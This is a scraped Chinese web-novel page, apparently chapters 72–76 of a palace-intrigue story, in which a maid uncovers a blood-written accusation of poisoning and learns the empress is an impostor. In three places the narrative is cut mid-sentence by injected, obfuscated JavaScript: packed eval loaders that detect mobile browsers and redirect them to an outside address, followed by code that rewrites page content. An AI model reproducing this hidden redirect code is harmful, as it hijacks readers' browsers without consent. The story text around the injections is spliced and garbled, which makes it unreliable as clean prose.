吴玉瑶笑了笑：“怎么会，千雪陪你去便是。”她转向千雪，“你随公主去吧，好好陪着。” “是，奴婢遵命。”千雪恭敬应下，心里却升起了疑问。 是因为萧曜不在，特意来找她玩？ 这位大公主，为什么会对她这个照看萧曜的宫女表示亲近？南三所那晚的冷静观察，下棋时恰到好处的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229872|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 藏拙，都显示这小姑娘不简单。 千雪感觉那只小手温温软软的，顺势握住她的手，一起往外走。 她面上平静，开口时语气很随意，像闲聊：“公主的手凉凉的可是冷了？方才我们去凤仪宫，给皇后娘娘请安回来，凤仪宫可暖和了。”她有意提到凤仪宫。 萧芙小脸一僵，拉着千雪的手紧了一下，随即又松开了。她脸上瞬间掠过一丝不自然，眉头飞快地蹙了蹙，快得几乎看不清，转眼又恢复了甜甜的笑：“凤仪宫……那儿总规规矩矩的。”她避开话头，声音忽然压低一点，带着点神秘，“姐姐，我们来玩个游戏好不好？等会儿下棋，输的人要给赢的人说一个自己的小秘密！我昨天看你下棋，学了几招，我们去梅林边的亭子试试手！你可不能推说没空哦！” 她的眼睛亮晶晶的，充满期待看着千雪。 突然提出交换秘密，地点又定在梅林亭子，看来是真有事要讲。她点点头，顺着萧芙的话：“好。公主想玩，奴婢陪着便是。” 两人便拉着手，转了方向，朝御花园深处梅林边的石亭走去，亭子清静，石桌空着。 两人坐下，千雪拿出随身带的简易棋板和棋子。萧芙果然兴致勃勃，执白先行。下了没几步，千雪就看出她有意放水，该堵的地方不堵，该抢的位置不争，棋盘上的白子走得松散无力。 一盘棋下得飞快，黑子很快就连成了五颗。 “哎呀！”萧芙懊恼地拍拍手，“又输了！”她语气懊丧，眼底却一片平静。她趴在石桌上，上半身凑近千雪，声音压得极低，又快又清晰：“那……我认输。秘密是……”她飞快地瞟了一眼四周，确定只有风声，才盯着千雪，字字清楚： “她……不是皇后。” 一阵风吹过，拂乱了棋盘边缘的几颗散子。 萧芙立刻缩回身子坐好，仿佛刚才那个瞬间的低语从未发生过。她伸手拨弄着桌上被风吹歪的棋子，脸上带着输棋后一点点的不甘心，完全是孩童做派，口中也恢复正常的音量：“不算不算！刚才风把我的棋子吹乱了！重来一局！这次我认真！” 她像是什么都没发生一样，重新归拢棋子，又认认真真和千雪下了一盘。这次她比上次用心不少，虽然最后还是输了，但棋盘上黑白纠缠，有了几分认真较量的模样。 “唉，还是姐姐厉害。”萧芙彻底丢开棋子，拍拍手站起来，小脸露出一点点疲惫，“玩了两盘，有点累了，我要去找如意她们了。”她对着千雪甜甜一笑：“多谢姐姐陪我下棋！” 她转身轻快地走下亭子台阶，脚步轻快地消失在小径上。 千雪独自坐着，看着石桌上散乱的棋子。 那句被风卷走的话，沉甸甸的压在心底。 她不是皇后。 73.第七十三章 桃雨 千雪慢慢朝庆祥宫走，午后的阳光挺足，晒得宫道的砖石有些发烫。她额头上一层薄汗，伸手抹了一把。 那句“她不是皇后”，在脑子里滚了几个来回。 她不是皇后，“她”，自然是指凤仪宫里那位。 什么意思？ 假的？ 真皇后呢？ 千雪步子一顿，猛地想起大公主萧芙独自住南三宫这事。一个孩子放着凤仪宫不住，跑出来单住。是因为她察觉了什么？察觉了“母后”的不对劲？ 孩子对母亲最熟悉，别人看不出来，孩子心里可能清清楚楚。萧芙那样沉稳的性子，一点异样，怕也瞒不过她。只是，作为枕边人的萧琰也看不出来吗？ 这念头让千雪后颈有点发凉，若皇后真是假的，若皇帝也知情，这宫里头的水，深不见底了。 她吸了口气，重新迈步，脚步没乱。 脑子里还在盘。 萧芙的话，能信多少？这孩子心思重，每一步都不白走。 为什么要告诉她？告诉她一个刚进南三所没多久，伺候萧曜的宫女？千雪眉头拧紧。 也许，就因为她是新来的，和宫里那盘根错节的旧网还没勾连？南三宫那晚，千雪动手设计张嬷嬷，结果被墙根下的萧芙看了个满眼，那孩子看到了她的手段和胆气。 再加上吴玉瑶近日在查三年前的事，那事和谁关系最大？难道是凤仪宫，而不是淑妃？ 这么一看，千雪和她背后的吴玉瑶，在萧芙心里，成了天然的，能对上那位“假皇后”的人。 一个七八岁的小孩子，哪怕再聪明，想撬动“皇后”这座山，她也得借力。 这信任，或者说这利用，背后是这孩子身处漩涡中心的危机感。 千雪手指在袖子里悄悄蜷紧了。 真假皇后这事，和吴玉华的死，怕是在一根藤上。 脚下步子快了些，离庆祥宫越近。 这些念头沉甸甸坠在胸口。 庆祥宫的朱红门近了。 千雪停下，掏出手帕，仔细擦掉额角的汗，又整了整神色，脸上只剩一片平静。 刚要迈步，门开了，如月从里面迎出来，脸上带着关切。 “回来了？公主那边……没事吧？” 如月话到一半，抬眼细看了下千雪的脸色，又瞟到她刚放下帕子的手。她脸上的笑收了点，声音压下去：“怎么？” 千雪跨进门槛，顺手带上了门。 “娘娘在？” “在里头歇着。” 千雪没停步，径直往吴玉瑶常待的小厅走。 “有事。”她声音很平，但很沉，“得赶紧禀告娘娘。” 千雪跟着如月快步走进小厅。吴玉瑶正靠在窗边榻上小憩，手里捏着本书，但眼神没落在字上，显然在走神。 “娘娘。”千雪走到榻前三步远站定，屈膝行礼。 吴玉瑶回过神，放下书，看她脸色比平时更沉静几分，额角汗迹未干尽，又见如月微微摇头示意，心里就咯噔了一下。“回来了？芙儿寻你下棋了？看你走得急，脸色倒是不好。”她语气尽量平和。 千雪没立刻回答，抬眼看向吴玉瑶，又瞥了瞥一旁侍立的如月，意思很清楚。 吴玉瑶挥手，对如月道：“都下去，门外守着，不叫别进来。” 如月会意，无声地行礼退出，轻轻带上了门。 门一关，屋里的光线似乎都暗了一分。吴玉瑶坐直了身子：“说吧，什么事？” 千雪吸了口气，向前半步，声音压得很低，吐字却异常清晰：“娘娘，方才大公主……在梅林亭子下棋时，借输棋认罚，递过来一句话。” 吴玉瑶没催问，只定定看着她，手指不自觉地抓紧了榻沿的锦缎。 “她……她说她不是皇后。” 吴玉瑶她脸上没什么夸张的表情，只是呼吸明显滞了一下，过了几息，她才缓慢带着一点难以置信：“……谁？” “公主所指，应是凤仪宫。”千雪声音依旧很稳，心却悬着。 吴玉瑶往后重重靠回引枕上，闭着眼细细捉摸这句话。 “不是……皇后？”她喃喃着，眼睛再睁开时，里面翻涌着荒谬。“这是什么意思？身份？还是……里子全换了？”她几乎是自语，脑子里瞬间闪过千万个念头，替身？易容？鸠占鹊巢？还是说……真皇后早已遭遇不测，凤仪宫那个只是个披着凤袍的假货？萧芙独自搬到南三宫，竟是因为这个？！ 这念头让她浑身发冷，吴玉华的病，忌讳的雪梨杏仁粥，知情人的消失，现在又加了一条萧芙递来的消息，眼前都是迷雾。 她猛地坐直，“她为何告诉你？！” 千雪沉声道：“奴婢也在想，或许是因奴婢初来乍到，背景干净？或是南三宫那晚的事……”她没细说张嬷嬷，但彼此心知肚明，“加之娘娘您在查三年前的事，公主是三年前搬出凤仪宫的，此事或许绕不开凤仪宫。公主……她需要同盟，去查这个假皇后。” 吴玉瑶沉默了很久，久到窗外的光线都偏移了几分。 终于，她抬起头，认真的看着千雪。 “这话，进了这屋，烂在你我肚里。天知，地知，你知，我知。连如月，没有十足把握前，也不能露一丝风。” 千雪点头，她知道吴玉瑶也意识到了，若皇后是假的，萧琰能不知道吗？若皇帝都默许了，那她们什么也做不了。 但是她们也不能两眼抓瞎，什么都不知道，到时候死都不知道州那么死的。 千雪试 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“还有！如月，萍儿，小满，金嬷嬷，她们身上的红疹子，是怎么回事？谁指使的？！” 桃雨脑子里嗡的一声！她以为要问粥的事，顶多就是失言，没想到竟一下子捅到那件更要命的事上！ “不是我！娘娘！不是我！奴婢不敢啊！”桃雨几乎是尖叫出来，涕泪横流，拼命磕头，“是……是夏内侍！是淑妃娘娘宫里的夏春阳夏内侍！都是他！是他逼我的！” 她语无伦次，像抓住了救命稻草，一股脑全倒了出来： “粥的事！是他！他说……说知道我在库房贪墨了一点香料变卖……说只要在陛下驾临那天，想法子让小橘做这雪梨杏仁粥，就……就饶了我，还给我好处！奴婢……奴婢一时糊涂……娘娘饶命啊！” “还有！还有红疹子的事！也是他！前些日子又悄悄找到我……说……说让我寻些沾了污秽气的东西，想法子混进那几位常出门收东西的旧人衣物里……最好是经手吃食和库房的……我……我怕啊！我不敢不照做……又想着……想着万一成了，他能帮我把上次的事彻底抹平……娘娘！奴婢该死！奴婢糊涂透了！”她伏在地上嚎啕大哭。 吴玉瑶脸上笼罩着一层寒霜，手紧紧攥成了拳。淑妃！ 真是淑妃？通过她宫里的夏春阳，先是粥，想利用这忌讳让皇帝厌恶她，甚至可能引来更重的惩罚，为了成事就使阴招害她身边旧人，让她们病倒挪出，既能清了她的人，又能坐实她不祥，晦气的名声！ 可是这粥到底犯了什么忌讳。 千雪冷眼看着地上瘫软如泥的桃雨，那惊恐崩溃不像作伪，夏春阳吗？ 74.第七十四章 芳如 追查夏春阳这事遇到了困难，这人滑不溜秋，他们也不敢贸然接近，就在这时一个意想不到的人，带来了转机。 这天黄昏，天光昏沉，千雪办完差事，回到庆祥宫角门，圆珠拎着个包袱，紧跟着她。 突然，一个瘦得脱了形的身影从暗处蹿出，那人穿着一身低等宫人的灰布袍子，枯枝一样的手带着一股狠劲，牢牢扣住了千雪的手腕，力道大得让千雪腕骨生疼。 “啊！”圆珠吓得低呼一声，后退半步，手里的包袱差点掉地上。 圆珠捂着嘴，借着最后一点天光仔细一看，竟是浆洗房那个几十年闷不吭声的老宫女，周嬷嬷！ “千雪姑娘，千雪姑娘！”老妇的嗓子嘶哑，像破风箱漏了气，气又急又短促，“求你，求你行行好，给我一条活路吧！我告诉你个天大的事！能抵你主子命的大事！” 她咳嗽起来，“太医，太医说我得了烂疮治不好了，活不长，明儿天一亮，就要被拖出宫去了，扔在外头等死，再也回不来了，” 千雪心里猛地一震！她没挣开，反而反手一把用力扶住周嬷嬷摇摇欲坠的身体，另一只手迅速扫视周围。还好，角门冷清，这会儿没人。 “嬷嬷，有话，跟我来，这里不是地方。” 千雪半扶半架着周嬷嬷佝偻的身体，脚步又快又沉。 千雪扶着周嬷嬷快速穿过几道回廊，来到一处僻静无人，堆满陈杂旧物的庑廊下。夕阳的余晖斜射进来，照亮周嬷嬷枯槁蜡黄的脸和脸上，她像是吊着最后一口气。 “你说！嬷嬷！你要什么？怎么才能救你命？” 周嬷嬷浑浊的老泪一下涌出来，“救，救不活了！千雪姑娘，好姑娘，”她声音抖得不成样子，忽然扑通一声跪倒在地上，“老婆子，老婆子死就死了，认命！临了临了，只求求给我那不成器没出息的侄子，讨，讨点银子，让他能活能安家。” 她磕了个头，额头沾了灰，“我告诉你，一件，一件埋在肚子里三年要命的，绝密！你信我！” 千雪的心跳得像要撞出胸口她没有丝毫犹豫，立刻应道：“好！嬷嬷放心！银子我去求我家娘娘，豁出去这张脸，也一定给你侄子送！”这时候没时间思前想后，机会稍纵即逝，只能先死死抓住。 周嬷嬷死盯着千雪的眼睛：“三年前，我，我犯了错，被主子，罚去宫正司的禁闭室，受罚，关了整整五天！就在最靠西头那间窄屋子，”她喘着粗气，眼神陷入回忆，“隔壁，隔壁关着，贵妃娘娘宫里的掌事大宫女，芳如！那时候如月还没来庆祥宫呢。” 千雪瞳孔猛地收缩！芳如！ “她，挨了重刑，打得不成人形，骨头，怕是都断了，就关在我隔壁，”周嬷嬷声音满是后怕，“我那时，也快吓死了，根本不敢睡，半夜里，就听见隔壁有，有指甲刮墙皮的声音。” 千雪屏住了呼吸。 周嬷嬷猛地贴近千雪的耳朵：“我，我扒着自己这边的墙缝，悄悄，看过去，隔壁墙上，有块泥灰松了！我，我亲眼看见！芳如手指头全是血，抠开了那块松动的泥砖，往里面，塞进去一团，染血的布条！白布的！我看见了！她就塞在那儿！最底下！” 她一口气说完，像耗尽了所有的力气，瘫软在地，大口喘息：“隔天，我放出来了，就听，就听浆洗房两个多嘴的婆子闲磕牙，说，说芳如她那个做粗使的小丫头妹子，命薄，夜里路滑还是怎地，自个儿掉进太液池旁边，那个积水的破小池子里，淹死了，小人物，死了也就那么回事，抬出去埋了，都说，都说可怜见儿的。” 她看到千雪骤然放大的瞳孔，苦笑道：“当时，我就当闲话听了，还叹她姐妹命苦，可后来我才，才后心发凉。” “芳如被关进去前，她妹子还好好的，那夜里她一定是知道了什么不得了的，才豁出命藏东西。” 她猛的抓住千雪的手腕：“姑娘！她恨啊！她是知道妹子没了，才豁出去留的东西！你，你要信我！” 千雪浑身发冷，芳如临死前，不仅承受着酷刑的折磨，更是在得知相依为命的妹妹也被害死，并且极可能是被灭口后，才彻底绝望，用尽最后力气留下了那致命的证据！ 千雪深吸一口气，压下狂跳的心，她蹲下身，用力握了握周嬷嬷枯槁的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232172|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“嬷嬷放心，银子，一定送去你侄子手里，我千雪以性命担保！” 当夜，更深人静。 一身不起眼太监打扮的千雪，如同夜魅，悄然出现在破败荒废了许久的宫正司西侧旧囚室区域。这里早已无人涉足，蛛网遍地，散发着霉烂和陈腐的气味。按照周嬷嬷所说的位置，她找到了那间阴森狭小的禁闭室。 借着一支极微弱的火折子，昏黄的光线只能照亮一小片墙壁。 墙壁斑驳脱落，布满陈旧的印迹。她蹲下身，用随身带来的小工具，小心翼翼沿着墙壁最底部的砖缝仔细敲打，指尖在砖石上抚过。 不知道过了多久，指尖碰到了一块触感明显不同的地方！比旁边的砖石活动些许！ 千雪的心提到了嗓子眼，动作越发谨慎。她用匕首，慢慢插入那细微的缝隙。轻轻撬动，一块并不严整的薄砖被小心翼翼地撬开了一个小角！ 昏黄的光下，那空穴里赫然躺着一小团发黑发硬的布块！边缘带着深褐色的污迹，那是干涸很久的血！ 千雪屏住呼吸，颤抖着手将布条取出。 她走到窗下，借着外面微弱的月光和火折子的光，一点一点，小心的将这团硬邦邦的布条打开。 布条本身粗糙，显然是囚徒衣衫上撕下的内衬。上面，是手指沾着血艰难写下的几行字迹，笔画歪歪扭扭。 贤妃害我 ！ 字迹扭曲得几乎变形，但那两个字，清晰无比！ 下面似乎还有别的笔画，但已□□涸的血污盖住大半，只能勉强辨认出一个歪倒的“毒”字半边，几个模糊的划痕难以辨识。 千雪的心跳如擂鼓！她将小灯筒凑得更近，手指稳定得可怕，在血污中仔细辨别那些模糊的划痕。在那深褐色的背景里，她隐约看到了像是被指头用力划开的痕迹： 怂恿我主害皇后孩子，指使我红花替剧毒，芳如泣血 。 千雪全都懂了。 是贤妃指使芳如换了毒药！ 是贤妃毒杀了皇后宋娴！ 是贤妃将罪名嫁祸给了毫不知情，只被怂恿下了红花的贵妃吴玉华！ 75.第七十五章 萧芙 染血的布条又硬又冷，握在手里分量很沉。千雪把它紧紧攥着，塞进怀里最贴身的地方，快步往回走，夜色里的石头路又黑又凉，每走一步都觉得脚下发沉。 到了庆祥宫，内室的灯还点着。 吴玉瑶背对着门站着，听见门响才慢慢转过身子，灯的光照在她脸上，白得发青，嘴唇闭得死死的。 千雪走到她跟前，没说话，从怀里掏出那团用油纸仔细包好的布块，一层层揭开。 吴玉瑶的眼神落到布上，猛地一缩。她伸出手，手指哆嗦着想去碰，又猛缩回来。 “周嬷嬷说的……没错。”千雪的声音没什么起伏，“就藏在宫正司那小黑屋砖石里。” 吴玉瑶死盯着血布，胸口一起一伏。 “……是她！！”姐姐死得冤，临了还背着黑锅！ 千雪没接话，偏头看看外屋：“娘娘，周嬷嬷侄子的钱……” 吴玉瑶一口气憋住，硬生生把那股邪火往下压。 “如月！”她嗓子又干又哑。 如月就在外头，立刻推门进来。她脸色也不好看，但眼神沉得住。 “你……”吴玉瑶指着外面，“等白天你传话回家，让他们送一大笔钱给周嬷嬷侄子！必须送到！” “放心，娘娘！”如月没二话，扭头就走，步子又急又重。 门哐当一声关上了。 吴玉瑶呼呼喘着，眼睛又粘回那血布上，仇人是找着了，连那碗雪梨杏仁粥的缘由也不难猜，当年贵妃端给皇后的粥极有可能就是这碗雪梨杏仁粥，所以吃食成了庆祥宫的忌讳，所以才会有知道内情的淑妃拿这个害吴玉瑶。 试问她要是在陛下来的那天，亲手奉上这碗曾毒杀皇后的粥，陛下会作何感想，吴玉瑶只觉得一阵后怕。 “萧芙说的假皇后，恐怕就是真皇后被那碗粥毒杀了。” 千雪点点头，“还有件事，娘娘琢磨过没？大公主……连她都能觉出皇后不对，觉着生分，不肯在凤仪宫住。” 千雪的眼神钩子一样钩进吴玉瑶眼里： “陛下呢？天天躺一张榻的人，皇后换了个人，他能没个感觉？” 问完这句，她也不等吴玉瑶答，自己就接上了： “他心里清楚，这点不同，瞒不了枕边人的眼。” 吴玉瑶像是挨了记闷棍，身子往后一挫，手扒住了桌子边才没摔倒，一个念头从脚底板凉到头顶心！ “……你……你是说……是陛下他……”嗓子眼堵得慌，话都说不圆。 “他点了头。”千雪话说得没有一点含糊，“要不是陛下许了，假皇后在凤仪宫，一天也撑不住。”她看着吴玉瑶。 “所以，咱们查明白了贵妃娘娘的事，知道了真后怎么死的，知道了祸根是谁，也知道了凤仪宫坐的是个假的，但……” “这局棋，陛下坐庄，他点头让人顶了真皇后的位，贤妃把污水泼给贵妃的事，陛下可能并未查过，甚至贵妃娘娘得病，他就没管过。” 她顿了一下： “咱们这真相掀出来，未必砸得倒贤妃那头老骆驼，倒可能先崩了自己的手。” “至于凤仪宫那位……她是啥，陛下心里跟明镜似的。这盖子，咱们掀不得，碰了，就是扇陛下的脸面。后头跟着啥，不好说。萧芙……她想知道她亲娘去了那里，咱们大不了告诉她真相，只是咱们不能在沾染这些事了。” 吴玉瑶浑身的力气一下子都泄了，歪在凳子上。 “……是啊……陛下……他心里……能没个数么……” 声音小得像叹气。那块血布还摊在桌上，吴玉瑶撇开头，不在看了。 那夜之后，吴玉瑶再没提过贤妃的名字，也没再追问凤仪宫的事。她每日按部就班，请安，理事，督促萧曜功课，脸上恢复了惯常的温婉平静，只是眼底深处多了一抹挥之不去的沉郁。 千雪也沉静下来，她依旧寸步不离地跟着萧曜，管着他的起居学课。 期间，萧琰又驾临庆祥宫几次。吴玉瑶侍寝时，眉眼低垂，温顺承欢，言语间带着恭谨与柔婉，挑不出半点错处。萧琰似乎也颇为满意她的安分守己，赏赐流水般下来，庆祥宫的日子看着风光了不少。 大公主萧芙也常来，有时是找萧曜玩，有时是来给吴玉瑶请安。她依旧乖巧伶俐，小脸上挂着甜甜的笑，规规矩矩行礼问好，和萧曜下棋时偶尔还会故意输给他几盘，逗得弟弟哈哈大笑。但她那双清澈的眼睛，总会在不经意间扫过千雪。 这天午后，萧曜被太傅叫去考校功课。萧芙没跟着去，坐在庆祥宫偏殿的窗边，安静地看着外面廊下挂着的鸟笼。千雪端了茶点进来，轻轻放在她手边的小几上。 “千雪姐姐，”萧芙没回头，声音轻轻的，像在自言自语，“皇兄最近懂事多了，不像以前那么闹腾了。” “殿下是长大了些。”千雪应道，垂手站在一旁。 萧芙转过头，那双黑白分明的眼睛看着千雪，忽然问：“姐姐，你说……人做了坏事，是不是都会有报应？” 千雪心头微凛，面上不动声色：“公主说的是？” 萧芙转过头，那双黑白分明的眼睛看着千雪，忽然问：“姐姐，你查的事……有结果了吗？”她问得很直接，眼神里没有了之前的试探，只有一种近乎执拗的认真。 千雪看着她。这孩子绕了这么久，终于问到了点子上。她没有立刻回答，只是沉默地走到内室门口，轻轻掩上了门。然后，她走到萧芙面前，从怀里掏出一个用油纸仔细包裹的小包。 一层层打开油纸。 萧芙的眼睛瞬间瞪大了。她看着那块布，小脸一点点褪去了血色。 “这是三年前，贵妃宫里的大宫女芳如留下的。”千雪的声音很低“她临死前，被人关在宫正司的禁闭室里，用血写下了这个，塞进了墙缝，公主你看完后，我就把这个布条处理了。” 千雪把布条展开，递到萧芙眼前，上面的血字歪歪扭扭，却触目惊心。 萧芙死死盯着那些字，小小的身体开始不受控制地颤抖。她的呼吸变得又急又浅，嘴唇抿得发白，她看懂了！ 萧芙的声音抖得不成样子，带着哭腔，“我……母后，我母后被毒死了吗？”她猛地抬头，眼睛通红，泪水在眼眶里打转，却倔强地不肯掉下来，“她……是被贤妃……害死的？” “贵妃，”萧芙的视线再次落在那血书上，“她……她是被冤枉的？被贤妃……推出来顶罪的？” 虽然吴玉华的确想下红花害了皇后的胎，但并不想毒杀皇后那毒药到底非她所愿。 萧芙的小脸煞白，没有一丝血色，眼泪终于滚落下来，砸在地砖上，悄无声息。 她没哭出声，只是死死咬着下唇，把那块布条紧紧攥在手心，攥得指节发白。过了好一会儿，她才抬起头，泪痕未干，眼神却已经变得冰冷。 “公主，”千雪的声音同样平静，“路很长，也很险。” 萧芙把那块血布重新用油纸仔细包好，递还给千雪，小脸上没有任何表情：“我知道。但血债，必须血偿。”她站起身，拍了拍裙子。 她走到门口，手搭在门框上，忽然停住，没有回头，声音很轻地问了一句： “那……凤仪宫那个……她又是谁？” 这个问题，千雪没有答案，也无法给出答案。她沉默着。 萧芙等了片刻，没听到回应，也没再追问。 萧芙推门出去了。最后那句话，冷硬硬的，塞在千雪胸口。她站到窗边暗处，看那小身板挺得笔直，快步转过拐角，没一点迟疑。 孩子心里最后那点指望，原以为母后还在某个地方好好活着，如今这点希望熄了。 又过了几日，萧芙还是常来，对着萧曜笑，哄他玩，看着和以前一样。不一样的是，她在偏殿待着发呆的时间长了，手里捏着本书，半天不翻一页，或者，盯着一笼子鸟，有一下没一下的投食。 等到屋里没旁人了，她才抬眼，目光扫过千雪。 这天下午， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240445|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧曜被带去御花园玩了。萧芙坐在偏殿窗边，跟前摊着书。 “千雪姐姐，”她声音很平，像问天气，“你想知道现在凤仪宫的是谁吗？” 千雪给她续茶，水声细细的。 萧芙嘴角弯了一下，不像笑，倒像疼得狠了：“我闯进安平郡王府大门！对着府里人哭喊！我娘是谁？她怎么死的？凤仪宫里那个又是谁？！”她眼泪突然冒出来，砸在裙面上，“他们吓坏了…拖我进里屋…外祖母搂着我哭…她堵着我的嘴哭…她说…不能说！可不能再看着我这么疯下去了！” 萧芙的肩膀抖起来，声音也跟着抖，哽得厉害：“外祖母流着泪说…都是命…说…当年父皇遇刺，半死不活，真正救活他的…根本不是我母后宋娴！是…是…被扔在庄子里受罪的庶女…宋婉！” 她大口喘气，像透不过风： “安平王府为了那顶后冠…昧了良心…把这泼天功劳扣在了宋娴头上！瞒着所有人…直到…贤妃那毒妇…害死了母后…”外祖母的声音似乎还在她耳朵里，“然后…父皇他…”萧芙停了抽噎，眼神空的可怕，“外祖母说…父皇心头真正装的…其实是庄子上那个宋婉…一直就惦记着！贤妃…反倒…反倒顺了他的意！” 她的声音又尖又利： “他立刻打着母后受惊病重的幌子…把在庄子里的宋婉接进来！顶了后位！不是为了遮掩！外祖母说…就是为了宋婉！就想让她名正言顺站在身边！凤仪宫里坐着的…是宋婉！是个假货！顶了我娘的位！”她猛地攥紧拳头，“贤妃杀我亲娘！安平王府帮着造孽！父皇…他心里装着那个假货！他们全都在骗！都蒙着我！” 萧芙那张泪脸上，恨得扭曲：“千雪姐姐…看明白了吗？这水…有多浑多黑？！” 千雪只觉得萧芙可怜。 “贤妃是行凶的，安平王府是祸根，凤仪宫那位…是被推上去的棋子。可这棋子站得稳，就因为有陛下在底下托着，他在护这层假盖子，盖子太厚，揭不得，谁先动手揭，谁先死。” “知道了。”萧芙用手背狠狠抹了把脸，站起来。脸色还很白，僵直的端着身子。“父皇，好…好得很…我等着。” 她一步步走到门口，推开门，冷风忽地灌进来。没回头，声音不高，砸在地上： “那个宋婉别想躺着棺材还用我娘的名号。” 这句话让千雪心头一紧，恨意冲垮了这孩子的理智，这路再往前就是断崖。她两步抢到门边，在萧芙迈出去的瞬间，一把抓住了她的胳膊。 萧芙的胳膊绷得死紧，她没有回头，声音硬邦邦的：“松开。” “公主！您不能在闹了！” 萧芙侧过半张脸：“不能？杀母夺名，你叫我忍？” “仇要报，但不是这么个报法！”千雪手上更用力，几乎将萧芙扳过身来正对着自己，“贤妃害了人，这条线得算，更别提陛下…还有凤仪宫那位！”她紧盯着萧芙的眼睛，“跟陛下争？争什么？争那个您已经知道的假字？还是争他偏心宋婉？” 萧芙胸膛剧烈起伏：“那我娘就白死了？连个后位都要被野路子顶替？！” “您娘是正宫皇后！安平王府造孽瞒不住天，也改不了您娘生前的尊荣！可宋婉呢？她现在是皇后，她坐在那儿，是因为陛下要她坐那儿！您想掀这个盖子，就是要跟陛下对着干！怎么争得过？！” “您娘若有灵，只怕最痛心的，是您拿自己的命去换一个虚名！真正的仇，得让仇人活着受罪！那才叫解恨！您真想报这个仇，就得先保住自己，比她们活得长，看得透！以待来日。” 萧芙僵住了，好一会儿。 “……知道了。”萧芙的声音干涩沙哑，像磨破了嗓子，她猛一抽胳膊，挣脱了千雪的手。 再没看千雪一眼，转身走了出去，脚步踏在青砖上，闷闷的响。 千雪站在门口，冷风扑面，她看着那小身影转过殿角不见，知道她把火摁进了心底。 殿檐一角，水滴啪嗒砸在地上，四分五裂。 76.第七十六章 大火 日子像水一样，平平地流过去，宫里宫外都透着一股子小心翼翼的安静。 庆祥宫里头，却悄悄起了变化。 如月开始不动声色地清理门户，先是找了个由头，把两个手脚不干净，常往外递消息的小太监打发去了苦役处。接着，又找借口，把南三宫那边几个跟张嬷嬷走得近，眼神飘忽的老嬷嬷挪到了最偏远的角落做粗活，轻易近不了主殿。她做事干净利落，不留话柄，庆祥宫里的风气为之一肃。那些暗地里窥探的眼睛，一下子少了大半。 千雪的心思，则全放在了萧曜身上。 张嬷嬷摔断腿后，挪去了宫外偏僻小院养伤，再也没回来。没了她在耳边日夜挑唆，萧曜身边清净了许多。 渐渐地，萧曜习惯了千雪在身边。读书时遇到不懂的，会皱着眉头问她，练字写烦了，会嘟囔着让她给磨墨，甚至偶尔做了噩梦惊醒，也会下意识地喊一声千雪，直到看见她守在床边才安心睡去。 千雪依旧话不多，但萧曜能感觉到她的存在。像是一块沉在水底的石头，稳稳当当，让人安心。张嬷嬷那些挑拨离间的话，在他心里留下的影子，不知不觉间，被这日复一日的陪伴一点点抹平了。他开始信任她，依赖她，虽然嘴上还是那副小主子的傲娇样，但眼神里的戒备和疏离，早已消失无踪。 然而，这宫墙里的平静，不过是暴风雨前的假象。 一日清晨，宫门刚开，八百里加急的快马便直闯宫禁！马蹄声踏碎了皇城的安宁。消息像长了翅膀，瞬间飞遍宫闱： 西北大将军聂承兴反了！ 他杀了监军，占了凉州城！拥兵十万！告急文书八百里加急刚送进勤政殿！ 叛军势大，连克数城，兵锋直指中原！ 朝堂震动。 各宫主子都紧闭宫门，人心惶惶，连平日里最张扬的淑妃，也消停了。 勤政殿里灯火彻夜未熄，争吵声，拍案声隐约传来，气氛压抑得让人喘不过气。 紧接着，一个更令人心惊的消息炸开： 陛下欲御驾亲征！由丞相同王叔裕王监国。 这消息激起千层浪。 “御驾亲征？”吴玉瑶听到如月带回的消息。 “陛下……陛下怎会……”她不敢想，皇帝若有个闪失，这江山社稷…… 千雪侍立一旁，眉头紧锁。御驾亲征？风险太大！她本能地嗅到一丝不寻常的气息。陛下虽年轻，但并非以武勇见长，更非不通兵事的莽夫。西北叛乱虽急，何至于要天子亲临险境？这背后……怕是有人推波助澜！ 很快，传言坐实，皇帝在朝堂上力排众议，执意亲征！理由是逆贼猖獗，非朕亲临，不足以显天威，慑宵小！这话听着冠冕堂皇，却透着一股被架上去的勉强。 后宫的气氛陡然变得诡异起来，原本就深居简出的贤妃，更是称病闭门不出，连每日的晨昏定省都免了。 她宫门紧闭，透着一股山雨欲来的压抑。 萧曜虽然年幼，却也感觉到了气氛的紧张。他不再缠着千雪下棋，常常一个人坐在窗边发呆，看着外面阴沉沉的天。偶尔，他会不安地问千雪：“父皇……要去打仗了吗？很远吗？危险吗？” 千雪只能尽量安抚他：“陛下是真龙天子，自有天佑。殿下安心读书便是。”她拿出那块连珠棋盘，“殿下可要再来一局？” 